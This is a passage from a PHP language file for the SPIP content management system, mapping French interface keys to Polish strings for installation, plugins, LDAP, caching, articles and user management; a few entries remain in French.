'info_gauche_messagerie' => 'Poczta wewnętrzna pozwala Ci wymieniać wiadomości z innymi redaktorami, i zapisywać notki (prywatne) lub publikować ogłoszenia na stronie głównej strefy prywatnej (jeśli jesteś administratorem).',
'info_gauche_numero_auteur' => 'AUTOR NUMER',
'info_gauche_statistiques_referers' => 'Ta strona wyświetla listę <i>odnośników</i>, to znaczy stron które zawierają łącza prowadzące do Twojej strony, które ktoś użył wczoraj lub dzisiaj : lista jest zerowana co 24 godziny.',
'info_gauche_visiteurs_enregistres' => 'Znajdziesz tu gości zarejestrowanych
w strefie publicznej strony (abonament forum).',
'info_generation_miniatures_images' => 'Generowanie miniaturek obrazków',
'info_gerer_trad' => 'Zarządzać linkami do przekładu?',
'info_hebergeur_desactiver_envoi_email' => 'Niektóre serwisy hostingowe wyłączają możliwość automatycznego wywyłania
emaili za pośrednictwem ich serwerów. W tym przypadku te funkcje
SPIP nie będą działały.',
'info_hier' => 'wczoraj:',
'info_historique_activer' => 'Włączyć zarządzanie poprawkami',
'info_historique_affiche' => 'Wyświetl tę wersję',
'info_historique_comparaison' => 'porównanie',
'info_historique_desactiver' => 'Wyłączyć zarządzanie poprawkami',
'info_historique_texte' => 'Zarządzanie poprawkami artykułu pozwala zachować historię wszystkich zmian dokonanych w treści artykułu i wyświetlić różnice pomiędzy kolejnymi wersjami.',
'info_identification_publique' => 'Twoja nazwa publiczna',
'info_image_process' => 'Wybierz najlepsza metode przygotowania miniaturek kilkając na odpowiednim obrazku.',
'info_image_process2' => '<b>N.B.</b> <i>Jeśli nie wyświetlił się żaden obrazek, Twój serwer nie został skonfugurowany tak, aby skorzystać z tego narzędzia. Jeśli jednak chcesz skorzystać z tych funkcji, skontaktuj się z osobą odpowiedzialną za sprawy techniczne Twojego serwisu i poproś o włączenie rozszerzeń "GD" lub "Imagick".</i>', # MODIF
'info_images_auto' => 'Automatycznie obliczane rozmiary obrazka',
'info_informations_personnelles' => 'Informacje o użytkowniku',
'info_inscription_automatique' => 'Automatyczna rejestracja nowych redaktorów',
'info_jeu_caractere' => 'Kodowanie strony',
'info_jours' => 'dni',
'info_laisser_champs_vides' => 'pozostaw te pola puste)',
'info_langues' => 'Języki stron',
'info_ldap_ok' => 'Uwierzytelnianie LDAP jest włączone.',
'info_lien_hypertexte' => 'Hiperłącze:',
'info_liste_nouveautes_envoyee' => 'Lista aktualizacji wiadomości została wysłana',
'info_liste_redacteurs_connectes' => 'Lista zalogowanych redaktorów',
'info_login_existant' => 'Podany login już istnieje.',
'info_login_trop_court' => 'Za krótki login.',
'info_login_trop_court_car_pluriel' => 'Twój login musi zawierać przynajmniej @nb@ znaków.',
'info_logos' => 'Logo',
'info_maximum' => 'maksimum:',
'info_meme_rubrique' => 'W tym samym dziale',
'info_message' => 'Wiadomość od',
'info_message_efface' => 'WIADOMOŚĆ USUNIĘTA',
'info_message_en_redaction' => 'Twoje wiadomości w trakcie tworzenia',
'info_message_technique' => 'Wiadomość techniczna:',
'info_messagerie_interne' => 'Poczta wewnętrzna',
'info_mise_a_niveau_base' => 'uaktualnianie bazy SQL', # MODIF
'info_mise_a_niveau_base_2' => '{{Uwaga !}} Zainstalowałeś taką wersję
plików SPIP, które należą do wcześniejszej niż posiadana przez ciebie wersja:
twoja baza danych może zostać zniszczona
lub popsuta i strona przestanie działać.<br />{{Zainstaluj ponownie
pliki SPIP.}}',
'info_modification_enregistree' => 'Twoje zmiany zostały zapisane',
'info_modifier_auteur' => 'Edytuj dane autora:',
'info_modifier_rubrique' => 'Zmiana działu:',
'info_modifier_titre' => 'Zmiana: @titre@',
'info_mon_site_spip' => 'Moja strona SPIP',
'info_mot_sans_groupe' => '(Słowa kluczowe bez grupy...)',
'info_moteur_recherche' => 'Zintegrowana wyszukiwarka',
'info_moyenne' => 'średnia:',
'info_multi_articles' => 'Aktywuj menu językowe w artykułach ?',
'info_multi_cet_article' => 'Język tego artykułu:',
'info_multi_langues_choisies' => 'Wybierz języki do dyspozycji redaktorów twojej strony.
Języki już używane na twojej stronie(wyświetlane na początku) nie mogą być wyłączone.',
'info_multi_rubriques' => 'Włącz menu językowe w działach ?',
'info_multi_secteurs' => ' ... tylko dla działów podstawowych ?',
'info_nb_articles' => '@nb@ artykuły',
'info_nb_auteurs' => '@nb@ autorzy',
'info_nb_visiteurs' => '@nb@ goście',
'info_nom' => 'Nazwisko',
'info_nom_destinataire' => 'Nazwisko odbiorcy',
'info_nom_site' => 'Nazwa Twojej strony',
'info_nombre_articles' => '@nb_articles@ artykułów,',
'info_nombre_partcipants' => 'UCZESTNICY DYSKUSJI:',
'info_nombre_rubriques' => '@nb_rubriques@ działu,',
'info_nombre_sites' => '@nb_sites@ stron,',
'info_non_deplacer' => 'Nie zmieniać miejsca ...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP może regularnie wysyłać ogłoszenia o najnowszych newsach.
(ostatnio opublikowane artykuły i newsy).',
'info_non_envoi_liste_nouveautes' => 'Nie wysyłaj listy najnowszych newsów',
'info_non_modifiable' => 'nie może być zmienione',
'info_non_suppression_mot_cle' => 'Nie chcę usunąć tego słowa kluczowego.',
'info_notes' => 'Notatki',
'info_nouveaux_message' => 'Nowe wiadomości',
'info_nouvel_article' => 'Nowy artykuł',
'info_nouvelle_traduction' => 'Nowy przekład :',
'info_numero_article' => 'ARTYKUŁ NUMER :',
'info_obligatoire_02' => '[Obowiązkowo]', # MODIF
'info_option_accepter_visiteurs' => 'Zaakceptuj zapisy czytelników Twojej strony',
'info_option_faire_suivre' => 'Przesłać wiadomości tego forum do autorów artykułów',
'info_option_ne_pas_accepter_visiteurs' => 'Wyłącz zapisy czytelników serwisu',
'info_options_avancees' => 'OPCJE ZAAWANSOWANE',
'info_ortho_activer' => 'Włącz korektor ortografii',
'info_ortho_desactiver' => 'Wyłącz korektor ortografii',
'info_ou' => 'lub...',
'info_page_interdite' => 'Strona zabroniona',
'info_par_nom' => 'wg nazw',
'info_par_nombre_article' => '(wg liczby artykułów)',
'info_par_statut' => 'wg statusu',
'info_par_tri' => '’(par @tri@)’',
'info_passe_trop_court' => 'Za krótkie hasło.',
'info_passes_identiques' => 'Hasła nie są identyczne.',
'info_pense_bete_ancien' => 'Twoje stare notatki', # MODIF
'info_plus_cinq_car' => 'więcej niż 5 znaków',
'info_plus_cinq_car_2' => '(Więcej niż 5 znaków)',
'info_plus_trois_car' => '(Więcej niż 3 znaki)',
'info_popularite' => 'popularność: @popularite@; odwiedziny: @visites@',
'info_popularite_4' => 'popularność: @popularite@; odwiedziny: @visites@',
'info_post_scriptum' => 'Postscriptum',
'info_post_scriptum_2' => 'Postscriptum:',
'info_pour' => 'dla',
'info_preview_admin' => 'Jedynie administratorzy mogą włączyć podgląd artykułu',
'info_preview_comite' => 'Wszyscy redaktorzy mogą włączyć podgląd artykułu',
'info_preview_desactive' => 'Podgląd artykułów jest całkiem wyłączony',
'info_preview_texte' => 'Istnieje możliwość włączania podglądu nieopublikowanych artykułów i newsów (muszą być "zaproponowane do oceny"). Czy chcesz, żeby ta funkcja była dostępna dla administratorów, redaktorów czy dla nikogo ? ',
'info_principaux_correspondants' => 'Wasi główni korespondenci',
'info_procedez_par_etape' => 'etap za etapem',
'info_procedure_maj_version' => 'powinna zostać procedura uaktualniania w celu dostosowania
bazy danych do nowej wersji SPIP.',
'info_proxy_ok' => 'Test proxy udany.',
'info_ps' => 'P.S.',
'info_publier' => 'opublikuj',
'info_publies' => 'Twoje artykuły opublikowane online',
'info_question_accepter_visiteurs' => 'Jeśli szkielety Twojego serwisu przewidują dla odwiedzających zapisy bez dostępu do panelu administracyjnego, włącz poniższą opcję:',
'info_question_inscription_nouveaux_redacteurs' => 'Czy akceptujesz możliwość dodawania nowych redaktorów
za pośrednictwem stron publicznych ? Jeśli tak, odwiedzący będę mogli się zapisać
za pomocą zautomatyzowanego formularza i będą mieli dostęp do strefy prywatnej, gdzie
będą proponować własne artykuły. <blockquote><i>W trakcie procesu zapisywania,
użytkownik otrzyma automatycznie mailem
hasła dostępu do strefy prywatnej. Niektóre serwisy hostingowe
wyłączają możliwość wysyłania maili z ich
serwerów : w tym przypadku automatyczne zapisanie się jest
niemożliwe.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Czy życzysz sobie skorzystać z wyszukiwarki wewnętrznej SPIP ?
(jej wyłączenie przyspiesza funkcjonowanie systemu.)',
'info_question_vignettes_referer_non' => 'Nie pokazuj zrzutów ekranu z odwiedzanych stron',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Rdzeń strony',
'info_recharger_page' => 'Proszę za chwilę ponownie załadować tę stronę.',
'info_recherche_auteur_a_affiner' => 'Zbyt dużo rezultatów w "@cherche_auteur@" ; spróbuj sprecyzować poszukiwania.',
'info_recherche_auteur_ok' => 'Kilkunastu redaktorów zostało znalezionych dla "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Żadnych wyników dla " @cherche_auteur@ ".',
'info_recommencer' => 'Proszę spróbować ponownie.',
'info_redacteur_1' => 'Redaktor',
'info_redacteur_2' => 'posiadając dostęp do strefy prywatnej (<i>zaleca się</i>)',
'info_redacteurs' => 'Redaktorzy',
'info_redaction_en_cours' => 'REDAKCJA W TOKU',
'info_redirection' => 'Przekierowanie',
'info_refuses' => 'Twoje odrzucone artykuły',
'info_reglage_ldap' => 'Opcje: <b>Regulacja importu LDAP</b>',
'info_renvoi_article' => '<b>Przekierowanie.</b> Ten artykuł odsyła do strony:',
'info_reserve_admin' => 'Tylko administratorzy mogą zmienić ten adres.',
'info_restreindre_rubrique' => 'Ograniczenie zarządzaniem rubryką :',
'info_resultat_recherche' => 'Wyniki wyszukiwania:',
'info_rubriques' => 'Działy',
'info_rubriques_02' => 'działy',
'info_rubriques_trouvees' => 'Odnalezione działy',
'info_rubriques_trouvees_dans_texte' => 'Odnalezione działy (w tekście)',
'info_sans_titre' => 'Bez tytułu',
'info_selection_chemin_acces' => '<b>Wybierz</b> poniżej ścieżkę dostępu w katalogu:',
'info_signatures' => 'podpisy',
'info_site' => 'Strona',
'info_site_2' => 'strona:',
'info_site_min' => 'strona',
'info_site_reference_2' => 'Strona zlinkowana',
'info_site_web' => 'STRONA INTERNETOWA:', # MODIF
'info_sites' => 'strony',
'info_sites_lies_mot' => 'Zlinkowane strony związane z tymi słowami kluczowymi',
'info_sites_proxy' => 'Użyj proxy',
'info_sites_trouves' => 'Znalezione strony',
'info_sites_trouves_dans_texte' => 'Strony znalezione (w tekście)',
'info_sous_titre' => 'Podtytuł:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Status tego autora:', # MODIF
'info_statut_auteur_2' => 'Jestem',
'info_statut_auteur_a_confirmer' => 'Potwierdzenie subskrypcji',
'info_statut_auteur_autre' => 'Inny status :',
'info_statut_efface' => 'Usunięto',
'info_statut_redacteur' => 'Redaktor',
'info_statut_utilisateurs_1' => 'Domyślny status zaiportowanych użytkowników',
'info_statut_utilisateurs_2' => 'Wybierz status, który zostanie przyznany osobom występującym w katalogu LDAP, kiedy połączą się po raz pierwszy. Możesz zmieniać tę wartość w zależności od autora. ',
'info_suivi_activite' => 'Archiwum aktywności edytorskiej',
'info_surtitre' => 'Nadtytuł :',
'info_syndication_integrale_1' => 'Twoja strona oferuje plik syndykacji « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Czy chcesz przesyłać całe artykuły czy wolisz dystrybuować podsumowanie ograniczone do kilkuset znaków ?',
'info_table_prefix' => 'Możesz użyć własnego prefixa nazw tablic w bazie danych (jest to niezbędne jeśli chcesz zainstalować więcej stron przy użyciu tej samej bazy danych). Prefix powinien być pisany bez akcentów, małymi literami i bez spacji.',
'info_taille_maximale_vignette' => 'Maksymalny rozmiar minitaurek, generowanych przez system :',
'info_terminer_installation' => 'Możesz teraz zakończyć proces standardowej instalacji.',
'info_texte' => 'Tekst',
'info_texte_explicatif' => 'Tekst wyjaśniający',
'info_texte_long' => '(tekst jest za długi: pojawi się w kilku częściach, które zostaną złożone po zatwierdzeniu.)',
'info_texte_message' => 'Tekst Twojej wiadomości:', # MODIF
'info_texte_message_02' => 'Tekst wiadomości',
'info_titre' => 'Tytuł:',
'info_total' => 'ogółem:',
'info_tous_articles_en_redaction' => 'Wszystkie artykuły w toku',
'info_tous_articles_presents' => 'Wszystkie artykuły opublikowane w tym dziale',
'info_tous_articles_refuses' => 'Wszystkie odrzucone teksty',
'info_tous_les' => 'każdy:',
'info_tous_redacteurs' => 'Ogłoszenia dla wszystkich redaktorów',
'info_tout_site' => 'Cała strona',
'info_tout_site2' => 'Artykuł nie został jeszcze przetłumaczony na ten język.',
'info_tout_site3' => 'Artykuł został przetłumaczony na ten język, ale po dokonaniu przekładu zostały wprowadzone zmiany do artykułu źródłowego. Przekład powinien zostać uaktualniony.',
'info_tout_site4' => 'Artykuł został przetłumaczony na ten język i nie wymaga uaktualniania.',
'info_tout_site5' => 'Artykuł oryginalny.',
'info_tout_site6' => '<b>Uwaga :</b> wyświetlone zostały jedynie artykuły oryginalne.
Przekłady są połączone z oryginałem, za pomocą koloru wskazującego na ich status :',
'info_traductions' => 'Tłumaczenia',
'info_travail_colaboratif' => 'Praca zespołowa nad artykułem',
'info_un_article' => 'artykuł,',
'info_un_site' => 'strona,',
'info_une_rubrique' => 'dział,',
'info_une_rubrique_02' => '1 dział',
'info_url' => 'URL:',
'info_url_proxy' => 'Upoważnienie URL',
'info_url_site' => 'URL STRONY:',
'info_urlref' => 'Łącze hipertekstowe :',
'info_utilisation_spip' => 'SPIP jest już gotowy do użytku...',
'info_visites_par_mois' => 'Wizyt miesięcznie:',
'info_visiteur_1' => 'Odwiedzający',
'info_visiteur_2' => 'strony publicznej',
'info_visiteurs' => 'Odwiedzający',
'info_visiteurs_02' => 'Odwiedzający stronę publiczną',
'install_adresse_base_hebergeur' => 'Adres bazy danych przyznany przez usługodawcę hostingowego',
'install_echec_annonce' => 'Instalacja może się nie powieść lub może się zdażyć, że strona przestanie działać ...',
'install_extension_mbstring' => 'SPIP nie działa z:',
'install_extension_php_obligatoire' => 'SPIP wymaga rozszerzenia php:',
'install_login_base_hebergeur' => 'Login połączenia z bazą danych przyznany przez usługodawcę hostingowego',
'install_nom_base_hebergeur' => 'Nazwa bazy danych przyznana przez usługodawcę hostingowego:',
'install_pas_table' => 'Bazy danych nie ma tabel',
'install_pass_base_hebergeur' => 'Hasło do bazy danych przyznane przez uługodawcę hostingowego',
'install_php_version' => 'wersja PHP @version@ jest za niska (minimum = @minimum@)',
'install_select_langue' => 'Wybierz język i kliknij na przycisk "next" aby rozpocząć procedurę instalacji.',
'install_select_type_db' => 'Wskaż rodzaj bazy danych:',
'install_serveur_hebergeur' => 'Serwer bazy danych został przypisny przez dostawcę usług hostingowych.',
'install_table_prefix_hebergeur' => 'Prefix przyznany przez usługodawcę hostingowego',
'install_tables_base' => 'Tabele w bazie danych',
'instituer_erreur_statut_a_change' => 'Status został już zmodyfikowany',
'instituer_erreur_statut_non_autorise' => 'Nie możesz wybrać tego statusu',
'intem_redacteur' => 'redaktor',
'intitule_licence' => 'Licencja',
'item_accepter_inscriptions' => 'Zaakceptuj zapisy',
'item_activer_messages_avertissement' => 'Aktywuj komunikaty ostrzegawcze',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Wyświetl kalendarz',
'item_autoriser_documents_joints' => 'Autoryzuj załączniki do artykułów',
'item_autoriser_documents_joints_rubriques' => 'Autoryzacja dokumentów w działach',
'item_autoriser_syndication_integrale' => 'Wysyłanie pełnej treści artykułów w pliku syndykacji',
'item_choix_administrateurs' => 'administratorzy',
'item_choix_generation_miniature' => 'Generuj automatycznie miniaturki obrazków.',
'item_choix_non_generation_miniature' => 'Nie generuj miniaturek obrazków.',
'item_choix_redacteurs' => 'redaktorzy',
'item_choix_visiteurs' => 'odwiedzający stronę publiczną',
'item_creer_fichiers_authent' => 'Utwórz pliki .htpasswd',
'item_limiter_recherche' => 'Ogranicz szukanie do informacji zawartych na Twojej stronie',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Aktywuj system wiadomości i kalendarzy',
'item_mots_cles_association_articles' => 'artykuły',
'item_mots_cles_association_rubriques' => 'do działów',
'item_mots_cles_association_sites' => 'do stron zlinkowanych lub zrzeszonych.',
'item_non' => 'Nie',
'item_non_accepter_inscriptions' => 'Nie akceptuj zapisów',
'item_non_activer_messages_avertissement' => 'Wyłącz komunikaty ostrzeżeń',
'item_non_afficher_calendrier' => 'Nie wyświetlaj kalendarza',
'item_non_autoriser_documents_joints' => 'Nie autoryzuj dokumentów w artykułach',
'item_non_autoriser_documents_joints_rubriques' => 'Nie autoryzuj dokumentów w działach',
'item_non_autoriser_syndication_integrale' => 'Wysyłanie podsumowania',
'item_non_compresseur' => 'Wyłącz kompresję',
'item_non_creer_fichiers_authent' => 'Nie twórz tych plików',
'item_non_gerer_statistiques' => 'Nie zarządzaj statystykami',
'item_non_limiter_recherche' => 'Szukaj także w treści stron, które są zlinkowane w systemie',
'item_non_messagerie_agenda' => 'Wyłącz system komunikacji i kalendarze oprogramowania',
'item_non_publier_articles' => 'Nie publikuj artykułów przed datą ich publikacji.',
'item_non_utiliser_moteur_recherche' => 'Nie używaj wyszukiwarki',
'item_nouvel_auteur' => 'Nowy autor',
'item_nouvelle_rubrique' => 'Nowy dział',
'item_oui' => 'Tak',
'item_publier_articles' => 'Publikuj artykuły bez względu na datę ich publikacji.',
'item_reponse_article' => 'Odpowiedz na artykuł',
'item_utiliser_moteur_recherche' => 'Używaj wyszukiwarki',
'item_visiteur' => 'odwiedzający',
// J
'jour_non_connu_nc' => 'nieznany',
// L
'label_bando_outils' => 'Pasek narzędzi',
'label_bando_outils_afficher' => 'Pokaż narzedzia',
'label_bando_outils_masquer' => 'Ukryj narzędzia',
'label_choix_langue' => 'Wybierz swój język',
'label_nom_fichier_connect' => 'Podaj nazwę dla tego serwera',
'label_slogan_site' => 'Slogan witryny internetowej',
'label_taille_ecran' => 'Szerokość ekranu',
'label_texte_et_icones_navigation' => 'Menu nawigacyjne',
'label_texte_et_icones_page' => 'Wyświetlanie stron',
'lien_ajout_destinataire' => 'Dodaj odbiorcę',
'lien_ajouter_auteur' => 'Dodaj autora',
'lien_ajouter_participant' => 'Dodaj uczestnika',
'lien_ajouter_une_rubrique' => 'Dodaj tą sekcję',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NAZWA STRONY:',
'lien_retirer_auteur' => 'Usuń autora',
'lien_retirer_rubrique' => 'Usuń sekcję',
'lien_retirer_tous_auteurs' => 'Usuń wszystkich autorów',
'lien_retirer_toutes_rubriques' => 'Usuń wszystkie sekcje',
'lien_retrait_particpant' => 'usuń uczestnika',
'lien_site' => 'strona',
'lien_supprimer_rubrique' => 'usuń ten dział',
'lien_tout_deplier' => 'Zwiń wszystko',
'lien_tout_replier' => 'Rozwiń wszystko',
'lien_tout_supprimer' => 'Usuń wszystko',
'lien_trier_nom' => 'Sortuj według nazw',
'lien_trier_nombre_articles' => 'Sortuj według liczby artykułów',
'lien_trier_statut' => 'Sortuj według status',
'lien_voir_en_ligne' => 'ZOBACZ ON-LINE :',
'logo_article' => 'LOGO ARTYKUŁU', # MODIF
'logo_auteur' => 'LOGO AUTORA', # MODIF
'logo_rubrique' => 'LOGO DZIAŁU', # MODIF
'logo_site' => 'LOGO STRONY', # MODIF
'logo_standard_rubrique' => 'STANDARDOWE LOGO DLA DZIAŁÓW', # MODIF
'logo_survol' => 'LOGO ROLL-OVER', # MODIF
// M
'menu_aide_installation_choix_base' => 'Wybieranie bazy danych',
'module_fichier_langue' => 'Plik językowy',
'module_raccourci' => 'Skrót',
'module_texte_affiche' => 'Wyświetlany tekst',
'module_texte_explicatif' => 'Możesz umieścić następujące skróty w szkielecie Twojej strony publicznej. Zostaną automatycznie przetłumaczone na rózne języki, których pliki językowe istnieją.',
'module_texte_traduction' => 'Plik językowy « @module@ » jest dostępny w :',
'mois_non_connu' => 'nieznany',
// O
'onglet_contenu' => 'Treść',
'onglet_declarer_une_autre_base' => 'Oświadcz inną bazę danych',
'onglet_discuter' => 'Dyskutuj',
'onglet_documents' => 'Dokumenty',
'onglet_interactivite' => 'Interaktywacja',
'onglet_proprietes' => 'Właściwości',
'onglet_repartition_actuelle' => 'teraz',
'onglet_sous_rubriques' => 'Podsekcje',
// P
'page_pas_proxy' => 'Ta strona nie musi przejść przez pełnomocnika.',
'pas_de_proxy_pour' => 'Jeśli potrzeba podaj serwery lub domeny, do których to proxy ma nie być używane: @exemple@)',
'plugin_charger' => 'pobierz pliki z serwera',
'plugin_erreur_droit2' => 'Proszę sprawdzić uprawnienia do zapisu w tym katalogu (i utworzenia katalogu, jeśli to konieczne). Ewentualnie proszę zainstalować pliki przez FTP.',
'plugin_etat_developpement' => 'wersja rozwojowa',
'plugin_etat_experimental' => 'wersja eksperymentalna',
'plugin_etat_stable' => 'wersja stabilna',
'plugin_etat_test' => 'wersja testowa',
'plugin_impossible_activer' => 'Nie można włączyć plugina @plugin@',
'plugin_info_automatique1_lib' => 'Jeśli chcesz, aby ta biblioteka została zainstalowana automatycznie, należy:',
'plugin_info_automatique2' => 'Utwórz katalog <code>@rep@</code> ;',
'plugin_info_automatique3' => 'Upewnij się że serwer ma odpowiednie uprawnienia do zapisu w tym katalogu.',
'plugin_info_automatique_creer' => 'Utworzyć w katalogu głównym witryny.',
'plugin_info_automatique_exemples' => 'przykłady:',
'plugin_info_automatique_liste_officielle' => 'Oficjalne pluginy',
'plugin_info_automatique_liste_update' => 'Aktualizacja list',
'plugin_info_automatique_ou' => 'albo...',
'plugin_info_credit' => 'Kredyty',
'plugin_info_erreur_xml' => 'Nieprawidłowe zgłoszenie wtyczek',
'plugin_info_install_ok' => 'Instalacja się udała',
'plugin_info_necessite' => 'Wymaga:',
'plugin_info_non_compatible_spip' => 'Ta wtyczka jest niezgodny z tą wersją systemu SPIP',
'plugin_info_plugins_dist_1' => 'Następujące wtyczki są załadowane i uruchomione w katalogu @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Nie mogą zostać wyłączone.',
'plugin_librairies_installees' => 'Biblioteka programistyczna została zainstalowana',
'plugin_necessite_lib' => 'Ta wtyczka wymaga biblioteki programistycznej @lib@',
'plugin_necessite_plugin' => 'Potrzeba pluginu @plugin@ co najmniej w wersji @version@.',
'plugin_necessite_spip' => 'Potrzeba co minimum wersji SPIP @version@ .',
'plugin_source' => 'źródło:',
'plugin_titre_automatique' => 'Instalacja automatyczna ',
'plugin_titre_automatique_ajouter' => 'Dodaj wtyczki',
'plugin_titre_installation' => 'Instalacja wtyczki @plugin@',
'plugin_titre_modifier' => 'Moje wtyczki',
'plugin_zip_active' => 'Kontynuuj w celu aktywacji',
'plugin_zip_adresse' => 'Aby załadować spakowany plik wtyczki lub listę wtyczek, wprowadź ścieżkę poniżej.',
'plugin_zip_adresse_champ' => 'Ścieżka wtyczki lub listy',
'plugin_zip_installe_finie' => 'Plik @zip@ został rozpakowany i zainstalowany.',
'plugin_zip_installe_rep_finie' => 'Plik @zip@ został rozpakowany i zainstalowany w katalogu @rep@ ',
'plugin_zip_installer' => 'Teraz możesz to zainstalować.',
'plugin_zip_telecharge' => 'Plik @zip@ został załadowany',
'plugins_actifs_liste' => 'Plugins actifs', # MODIF
'plugins_disponible_un' => 'Jedna wtyczka dostępna',
'plugins_liste' => 'Lista rozszerzeń',
'plugins_tous_liste' => 'Wszystko',
'plugins_vue_hierarchie' => 'Hierarchia',
'plugins_vue_liste' => 'Lista',
'protocole_ldap' => 'Wersja protokołu:',
// Q
'queue_executer_maintenant' => 'Uruchom teraz',
'queue_info_purger' => 'Możesz usunąć wszystkie zadania w toku i zresetować listę zadań okresowych',
'queue_nb_jobs_in_queue' => '@nb@ zadania w kolejce',
'queue_next_job_in_nb_sec' => 'Następne zadanie w @nb@ S',
'queue_no_job_in_queue' => 'Brak zadań w toku',
'queue_one_job_in_queue' => '1 zadanie w kolejce',
'queue_purger_queue' => 'Zresetuj kolejkę zadań',
'queue_titre' => 'Lista zadań',
// R
'repertoire_plugins' => 'Katalog :',
// S
'sans_heure' => 'Czas nie określony',
'statut_admin_restreint' => '(admin z ograniczeniami)', # MODIF
// T
'taille_cache_image' => 'Obrazki mają automatycznie zmieniany rozmiar przez SPIP (miniaturki dokumentów, tytuły przedstawiane w postaci graficznej, funkcje matematyczne w formacie TeX...) zajmują w katalogu @dir@ obszar @taille@.',
'taille_cache_infinie' => 'Serwis nie ma włączonego ograniczenia dla wielkości katalogu cache.',
'taille_cache_maxi' => 'SPIP próbuje ograniczyć wielkość katalogu <code>CACHE/</code> tej strony do około <b>@octets@</b> danych.',
'taille_cache_moins_de' => 'Rozmiar pamięci podręcznej jest mniejsze niż @octets@.',
'taille_cache_octets' => 'W tym momencie wielkość cache to: @octets@.', # MODIF
'taille_cache_vide' => 'Cache jest pusty.',
'taille_repertoire_cache' => 'Wielkość katalogu cache',
'text_article_propose_publication' => 'Artykuł zatwierdzony do publikacji. Nie wahaj się wyrazić swoją opinię przez forum dotyczące tego artykułu (na dole strony).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Niektóre serwery LDAP nie akceptują dostępu anonimowego. W tym przypadku należy podać indentyfikator dostępu, aby móc przeszukiwać katalog. Niemniej, w większości przypadków poniższe pola powinny pozostać puste.',
'texte_admin_effacer_01' => 'Ta komenda usuwa <i>całą</i> zawartość bazy danych,
włącznie z <i>wszystkimi</i> parametrami dostępu dla redaktorów i administartorów. Po jej zastosowaniu powinieneś
zreinstalować SPIP w celu utworzenia nowej bazy danych i dostępu pierwszego administratora.',
'texte_adresse_annuaire_1' => '(Jeśli Twój katalog jest zainstalowany na tym samym komputerze co strona internetowa, chodzi zapewne o «localhost».)',
'texte_ajout_auteur' => 'Następujący autor został dodany do artykułu:',
'texte_annuaire_ldap_1' => 'Jeśli masz dostęp do katalogu (LDAP), możesz zniego skorzystać do automatycznego importu użytkowników SPIP. ',
'texte_article_statut' => 'Ten artykuł jest:',
'texte_article_virtuel' => 'Wirtualny artykuł',
'texte_article_virtuel_reference' => '<b>Artykuł wirtualny :</b> artykuł zlinkowany w Twoim serwisie SPIP ale przekierowujący do innego URL-a. Aby usunąć to przekierowanie, wymaż URL powyżej.',
'texte_aucun_resultat_auteur' => 'Żadnych wyników dla "@cherche_auteur@".',
'texte_auteur_messagerie' => 'Na tej stronie może wyświetlać się bez przerwy lista zalogowanych redaktorów, co pozwoli Ci bezpośrednio wymieniać z nimi wiadomości. Możesz także zdecydować o nie pojawianiu się na tej liście (jesteś wówczas "niewidzialny" dla innych użytkowników)',
'texte_auteur_messagerie_1' => 'Na tej stronie możesz wymieniać wiadomości i tworzyć prywatne fora dyskusyjne pomiędzy użytkownikami strony. Możesz nie brać udziału w tych wymianach.',
'texte_auteurs' => 'AUTORZY',
'texte_choix_base_1' => 'Wybierz bazę danych:',
'texte_choix_base_2' => 'Serwer SQL zawiera kilka baz danych.', # MODIF
'texte_choix_base_3' => '<b>Wybierz</b>, jaka została Ci przyznana przez Twój serwis hostingowy:',
'texte_choix_table_prefix' => 'Prefix tablic:',
'texte_commande_vider_tables_indexation' => 'Skorzystaj z tego polecenia w celu opróżnienia tabeli indeksujących, które używane są
przez zintegrowaną wyszukiwarkę SPIP.
Pozwoli to oszczędzić przestrzeń dysku twardego.',
'texte_compresse_ou_non' => '(może być skompresowany lub nie)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elementy',
'texte_conflit_edition_correction' => 'Proszę porównać różnice między obiema wersjami. Możesz również skopiować zmiany i zacząć od nowa.',
'texte_connexion_mysql' => 'Sprawdź informacje dostarczone przez Twój serwis hostingowy : znajdzies tam, jeśli serwer korzysta z SQL, kody służące do połączenia z serwerem SQL.', # MODIF
'texte_contenu_article' => '(Treść artykułu w kilku słowach.)',
'texte_contenu_articles' => 'Zależnie od struktury jaką przyjąłeś dla swojego serwisu, możesz zdecydować,
których elementów artykułów nie używać.Korzystając z poniższej listy, wybierz używane elementy.',
'texte_crash_base' => 'Jeśli Twoja baza danych
zepsuła, możesz spróbować naprawić ją
automatycznie.',
'texte_creer_rubrique' => 'Aby móc pisać artykuły,<br /> musisz utworzyć dział.',
'texte_date_creation_article' => 'DATA UTWORZENIA ARTYKUŁU:',
'texte_date_creation_objet' => 'Data utworzenia:', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Data poprzedniej publikacji :',
'texte_date_publication_anterieure_nonaffichee' => 'Ukryj datę poprzedniej publikacji.',
'texte_date_publication_article' => 'DATA PUBLIKACJI ONLINE:',
'texte_date_publication_objet' => 'Opublikowane na:',
'texte_descriptif_petition' => 'Opis ogłoszenia',
'texte_descriptif_rapide' => 'Krótki opis',
'texte_effacer_base' => 'Usuń bazę danych SPIP',
'texte_effacer_donnees_indexation' => 'Wymaż dane pochodzące z indeksowania',
'texte_effacer_statistiques' => 'Usuń statystyki',
'texte_en_cours_validation' => 'Następujące artykuły i newsy zostały zatwierdzone do publikacji. Nie wahaj się wyrazić swoją opinię na dołączonych do nich forach.', # MODIF
'texte_enrichir_mise_a_jour' => 'Możesz wzbogacić układ Twojego tekstu « skrótami typograficznymi ».',
'texte_fichier_authent' => '<b>Czy SPIP ma stworzyć specjalne pliki <tt>.htpasswd</tt>
i <tt>.htpasswd-admin</tt> w katalogu @dossier@ ?</b><p>
Te pliki mogą służyć jako ograniczenie dostępu dla autorów
i administratorów do innych części Twojego serwisu
(np. zewnętrznych statystyk).</p><p>
Jeśli nie chcesz z nich korzystać, możesz pozostawić tą opcję
w nienaruszonej postaci (te pliki nie zostaną stworzone).</p>', # MODIF
